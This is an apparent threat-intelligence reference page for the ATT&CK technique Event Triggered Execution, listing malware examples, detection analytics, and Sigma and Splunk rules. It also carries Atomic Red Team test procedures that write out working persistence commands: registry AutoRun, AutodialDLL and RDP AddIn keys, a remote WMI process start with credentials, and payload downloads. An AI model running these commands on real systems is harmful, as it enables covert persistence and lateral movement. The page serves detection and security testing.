Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.[1][2][3]
1 campaign has been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
Involves managing events on victim systems via libevent to execute a callback function when any running process contains the following references in their path without also having a reference to bioset: busybox, wget, curl, tftp, telnetd, or lua. If the bioset string is not found, the related process is terminated.1
All 1 campaigns for this technique
4 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Has modified settings and configuration files of AI coding agents and other coding applications in order to create event triggered executions through creating hooks and runOn conditions.1
Creates a .pth file beginning with the text import so that any time another process or script attempts to reference the modified item the malicious code will also run.1
Can set up S3 bucket notifications to trigger a malicious Lambda function when a CloudFormation template is uploaded to the bucket. It can also create Lambda functions that trigger upon the creation of users, roles, and groups.1
XCSSET's dfhsebxzod module searches for .xcodeproj directories within the user’s home folder and subdirectories. For each match, it locates the corresponding project.pbxproj file and embeds an encoded payload into a build rule, target configuration, or project setting. The payload is later executed during the build process.12
All 4 software entries for this technique
Compare defenses against adversary use. Eight counts, ranking this technique against the entire ATT&CK Enterprise matrix. .
Technique Campaign use over its cumulative rule count.
MITRE names one behaviour worth catching for this technique and breaks it into 6 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
AN0024 · Windows
Correlates unexpected modifications to WMI event filters, scheduled task triggers, or registry autorun keys with subsequent execution of non-standard binaries by SYSTEM-level processes.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Scheduled Job CreationDC0001 | WinEventLog: | EventCode= |
| WMI CreationDC0008 | WinEventLog: | Creation or modification of __EventFilter, __FilterToConsumerBinding, or CommandLineEventConsumer |
| Process CreationDC0032 | WinEventLog: | EventCode= |
| Windows Registry Key ModificationDC0063 | WinEventLog: | EventCode= |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| UserContext | Filters triggering on SYSTEM or LOCAL SERVICE vs. user-initiated triggers |
| TimeWindow | Correlates trigger definition and execution timing (e.g., within 5 minutes) |
| PathAnomalyThreshold | Process or binary path deviation scoring for execution anomalies |
AN0025 · Linux
Detects inotify or auditd configuration changes that monitor system files coupled with execution of script interpreters or binaries by cron or systemd timers.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Scheduled Job CreationDC0001 | linux: | Execution of non-standard script or binary by cron |
| File MetadataDC0059 | auditd: | Inotify watch creation or auditctl changes on / |
| Command ExecutionDC0064 | auditd: | Execution of script interpreters by systemd timer (ExecStart) |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ExecutablePathRegex | Regex defining suspicious binary/script paths triggered by cron/systemd |
| WatchTargetPaths | Paths monitored by auditd/inotify for suspicious event registration |
AN0026 · macOS
Correlates launchd plist modifications with subsequent unauthorized script execution or anomalous parent-child process trees involving user agents.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | macos: | Execution of launchctl with suspicious arguments |
| File ModificationDC0061 | macos: | Modification of ~/ |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| PlistNamePattern | Regex pattern matching known rogue or unrecognized launchd plist names |
| ParentProcessBaseline | Expected parent-child relationships during plist-triggered execution |
AN0027 · IaaS
Monitors cloud function creation triggered by specific audit log events (e.g., IAM changes, object creation), followed by anomalous behavior from new service accounts.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Command ExecutionDC0064 | AWS: | InvokeFunction |
| Cloud Service ModificationDC0069 | AWS: | CreateFunction |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TriggerEventType | Specific cloud event (e.g., PutObject, CreateRole) that causes function invocation |
| ServiceAccountRole | Expected permissions for roles used in function execution |
AN0028 · SaaS
Correlates Power Automate or similar logic app workflows triggered by SaaS file uploads or email rules with data forwarding or anomalous access patterns.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Command ExecutionDC0064 | m365: | Automated forwarding or file sync initiated by a logic app |
| Cloud Service ModificationDC0069 | m365: | Creation of Power Automate flow triggered by OneDrive or Exchange event |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TriggerCondition | Event types that initiate SaaS automation (e.g., file add, new email) |
| AppIdentityScope | Scopes/permissions granted to automation app accounts |
AN0029 · Office Suite
Detects macros or VBA triggers set to execute on document open or close events, often correlating with embedded payloads or C2 traffic shortly after execution.
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Script ExecutionDC0029 | m365: | VBA auto_open, auto_close, or document_open events |
| Network Traffic ContentDC0085 | m365: | External HTTP/ |
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| MacroFunctionNames | Names of event-bound functions like Auto_Open that initiate execution |
| TimeDeltaMacroToC2 | Time threshold to correlate macro execution with outbound connections |
Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.
Perform regular software updates to mitigate exploitation risk.
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | Persistence with Custom AutodialDLL | windows | powershell | Required | 1 | Yes | ||||||||||||||||||||||
The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. The sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing. Blog Attack Commandsrun with powershellelevation required (root or admin)Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll Cleanup Commands Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value $env:windir\system32\rasadhlp.dll Dependencies Description AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll Check Prereq Commands if (Test-Path PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll) { exit 0} else { exit 1}
Get Prereq Commands New-Item -Type Directory "PathToAtomicsFolder\T1546\bin\" -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll" -OutFile "PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll" GUIDaca9ae16-7425-4b6d-8c30-cad306fdbd5b | ||||||||||||||||||||||||||||
| 02 | HKLM - Persistence using CommandProcessor AutoRun key (With Elevation) | windows | powershell | Required | — | Yes | ||||||||||||||||||||||
An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. reference Inputs
Attack Commandsrun with powershellelevation required (root or admin)New-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -Value "#{command}" -PropertyType "String"Cleanup Commands Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore GUIDa574dafe-a903-4cce-9701-14040f4f3532 | ||||||||||||||||||||||||||||
| 03 | HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation) | windows | powershell | — | — | Yes | ||||||||||||||||||||||
An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed. reference Inputs
Attack Commandsrun with powershell$path = "HKCU:\Software\Microsoft\Command Processor"
if (!(Test-Path -path $path)){
New-Item -ItemType Key -Path $path
}
New-ItemProperty -Path $path -Name "AutoRun" -Value "#{command}" -PropertyType "String"Cleanup Commands Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore GUID36b8dbf9-59b1-4e9b-a3bb-36e80563ef01 | ||||||||||||||||||||||||||||
| 04 | WMI Invoke-CimMethod Start Process | windows | powershell | Required | — | — | ||||||||||||||||||||||
The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod. This is a novel way to perform lateral movement or to start a remote process. This does require WinRM to be enabled. The account performing the run will also need to be elevated. A successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process. Inputs
Attack Commandsrun with powershellelevation required (root or admin)# Set the remote computer name and credentials
$RemoteComputer = "#{dest}"
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential
# Define the process you want to start
$ProcessToStart = "#{process}"
# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}
# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}
# Clean up the CIM session
Remove-CimSession -CimSession $CimSession
GUIDadae83d3-0df6-45e7-b2c3-575f91584577 | ||||||||||||||||||||||||||||
| 05 | Adding custom debugger for Windows Error Reporting | windows | command_prompt | Required | — | Yes | ||||||||||||||||||||||
When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry. Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework Attack Commandsrun with command_promptelevation required (root or admin)reg add "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f Cleanup Commands reg delete "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /f GUID17d1a3cc-3373-495a-857a-e5dd005fb302 | ||||||||||||||||||||||||||||
| 06 | Load custom DLL on mstsc execution | windows | command_prompt | Required | — | Yes | ||||||||||||||||||||||
Adding ClxDllPath under Terminal Server Client subkey of HKLM hive with a path to custom DLL allows for DLL loading during execution of mstsc.exe Inputs
Attack Commandsrun with command_promptelevation required (root or admin)reg add "HKLM\SOFTWARE\Microsoft\Terminal Server Client" /v ClxDllPath /t REG_SZ /d "#{dll_inf}" /f
Cleanup Commands reg delete "HKLM\SOFTWARE\Microsoft\Terminal Server Client" /v ClxDllPath /f GUID2db7852e-5a32-4ec7-937f-f4e027881700 | ||||||||||||||||||||||||||||
| 07 | Persistence using automatic execution of custom DLL during RDP session | windows | command_prompt | Required | — | Yes | ||||||||||||||||||||||
When remote desktop session is accepted, the system queries the key it queries the Registry key:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin. If such key exists, the OS will attempt to read the Path value underneath.Once the Path is read, the DLL that it points to will be loaded via LoadLibrary. Attack Commandsrun with command_promptelevation required (root or admin)reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin" /v Path /t REG_SZ /d "C:\Windows\System32\amsi.dll" /f Cleanup Commands reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin" /f GUIDb7fc4c3f-fe6e-479a-ba27-ef91b88536e3 | ||||||||||||||||||||||||||||
| 08 | Persistence via ErrorHandler.cmd script execution | windows | powershell | Required | 1 | Yes | ||||||||||||||||||||||
Create persistence by triggering script within ErrorHandler.cmd upon the execution of specific binaries within the oobe directory. Upon test execution, Setup.exe will be executed to further execute script within ErrorHandlercmd to launch Notepad. Attack Commandsrun with powershellelevation required (root or admin)Copy-Item -Path PathToAtomicsFolder\T1546\src\ErrorHandler.cmd -Destination C:\Windows\Setup\Scripts\ErrorHandler.cmd C:\windows\System32\oobe\Setup Cleanup Commands Remove-Item C:\Windows\Setup\Scripts\ErrorHandler.cmd Dependencies Description ErrorHandler.cmd script must exist on disk at specified at PathToAtomicsFolder\T1546\bin\ErrorHandler.cmd Check Prereq Commands if (Test-Path PathToAtomicsFolder\T1546\src\ErrorHandler.cmd) { exit 0} else { exit 1}
Get Prereq Commands New-Item -Type Directory "PathToAtomicsFolder\T1546\src\" -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/src/ErrorHandler.cmd" -OutFile "PathToAtomicsFolder\T1546\src\ErrorHandler.cmd" GUID547a4736-dd1c-4b48-b4fe-e916190bb2e7 | ||||||||||||||||||||||||||||
| 09 | Persistence using STARTUP-PATH in MS-WORD | windows | command_prompt | Required | — | Yes | ||||||||||||||||||||||
When Word starts, it searches for the registry key HKCU\Software\Microsoft\Office\<version>\Word\Options\STARTUP-PATH and if it exists, it will treat it as a user specific start-up folder and load the contents of the folder with file extensions of .wll,.lnk,.dotm,.dot,.dotx The registry key can be abused to load malware from the mentioned path. Reboot might be required. Attack Commandsrun with command_promptelevation required (root or admin)reg add "HKCU\Software\Microsoft\Office\16.0\Word\Options" /v STARTUP-PATH /t REG_SZ /d "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent" /f Cleanup Commands reg delete HKCU\Software\Microsoft\Office\16.0\Word\Options /v STARTUP-PATH /f GUIDf0027655-25ef-47b0-acaf-3d83d106156c | ||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition
15 rules are mapped to this technique.
| Select | Title | Description | Category | Status | Event | OS | Product | MITRE ATT&CK | CVEs | Severity | Author | Created | Updated | ID | Refs |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Detects changes to 'HKCU\Software\Classes\Folder\shell\open\command\DelegateExecute' | Generic | test | registry_set | windows | Sysmon · WinEventLog Security | - | high | Omkar Gudhate | 2020-09-27 | 2023-09-28 | 07743f65-7ec9-404a-a519-913db7118a8d | ||||
Detects the malicious use of a control panel item | Generic | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_) | 2020-06-22 | 2023-10-11 | 0ba863e6-def5-4e50-9cea-4dd8c7dc46a4 | ||||
Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exch (...) | Emerging | test | process_creation | windows | Sysmon · WinEventLog Security | - | critical | Florian Roth (Nextron Systems) | 2021-03-09 | 2023-03-09 | bbb2dedd-a0e3-46ab-ba6c-6c82ae7a9aa7 | ||||
This rule detects the execution of the extended storage procedure backdoor named Maggie in the conte (...) | Emerging | test | - | windows | WinEventLog Application | - | high | Denis Szadkowski, DIRT / DCSO CyTec | 2022-10-09 | — | 711ab2fe-c9ba-4746-8840-5228a58c3cb8 | ||||
Detects the creation of a macro file for Outlook. | Generic | test | file_event | windows | Sysmon | - | medium | @ScoubiMtl | 2021-04-05 | 2023-02-08 | 8c31f563-f9a7-450c-bfa8-35f8f32f1f61 | ||||
Detects the modification of Outlook security setting to allow unprompted execution of macros. | Generic | test | registry_set | windows | Sysmon · WinEventLog Security | - | high | @ScoubiMtl | 2021-04-05 | 2023-08-17 | e3b50fa5-3c3f-444e-937b-0a99d33731cd | ||||
Detects the modification of Outlook setting "LoadMacroProviderOnBoot" which if enabled allows the au (...) | Generic | test | registry_set | windows | Sysmon · WinEventLog Security | - | high | Nasreddine Bencherchali (Nextron Systems) | 2021-04-05 | 2023-08-17 | 396ae3eb-4174-4b9b-880e-dc0364d78a19 | ||||
Splunk | The following analytic detects the creation of a Python path configuration (`.pth`) file in conjunction with a package installation process. (...) | Anomaly | stable | process_creation | windows | Sysmon | - | medium | Onur Mustafa Erdogan, Splunk | 2026-08-21 | 2026-08-21 | bf581b86-39cd-48b7-9312-d9affb48a8bc | |||
Splunk | The following analytic detects the creation of a Python site hook file (`sitecustomize.py` or `usercustomize.py`) within a `site-packages`/`dist-packages` directory in conjunction with a package installation process. (...) | Generic | stable | process_creation | windows | Sysmon | - | medium | Onur Mustafa Erdogan, Splunk | 2026-08-21 | 2026-08-21 | efaf40f5-779f-4b48-a941-b7d1a7c931ed | |||
Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM | Emerging | test | process_creation | windows | Sysmon · WinEventLog Security | - | high | MSTIC, FPT.EagleEye | 2021-06-15 | 2022-10-09 | 7ba08e95-1e0b-40cd-9db5-b980555e42fd | ||||
Get-Variable is a valid PowerShell cmdlet
WindowsApps is by default in the path where PowerShell is (...) | Generic | test | file_event | windows | Sysmon | - | high | frack113 | 2022-04-23 | — | 0c3fac91-5627-46e8-a6a8-a0d7b9b8ae1b | ||||
Detects the creation of a macro file for Outlook. | Generic | test | file_event | windows | Sysmon | - | high | Nasreddine Bencherchali (Nextron Systems) | 2023-02-08 | — | 117d3d3a-755c-4a61-b23e-9171146d094c | ||||
Splunk | The following analytic detects modifications to the Access Control List (ACL) of the AdminSDHolder object in a Windows domain, specifically the addition of new rules. (...) | Generic | stable | account_management | windows | WinEventLog Security | - | medium | Mauricio Velazco, Dean Luxton, Splunk | 2022-11-15 | 2026-09-22 | 00d877c3-7b7b-443d-9562-6b231e2abab9 | |||
Splunk | The following analytic detects the execution of CompatTelRunner.exe with parameters indicative of a process not part of the normal "Microsoft Compatibility Appraiser" telemetry collection. (...) | Generic | stable | process_creation | windows | WinEventLog Security · Sysmon · CrowdStrike | - | medium | Steven Dick | 2025-02-13 | 2026-05-13 | 56fe46ca-ffef-46fe-8f0e-5cd4b7b4cc0c | |||
Splunk | This detection identifies suspicious modifications to the Windows Compatibility Telemetry registry settings, specifically within the "TelemetryController" registry key and "Command" registry value. (...) | Generic | stable | registry_event | windows | Sysmon | - | medium | Steven Dick | 2025-02-13 | 2026-05-13 | 43834687-cc48-4878-a2fa-f76e4271791f |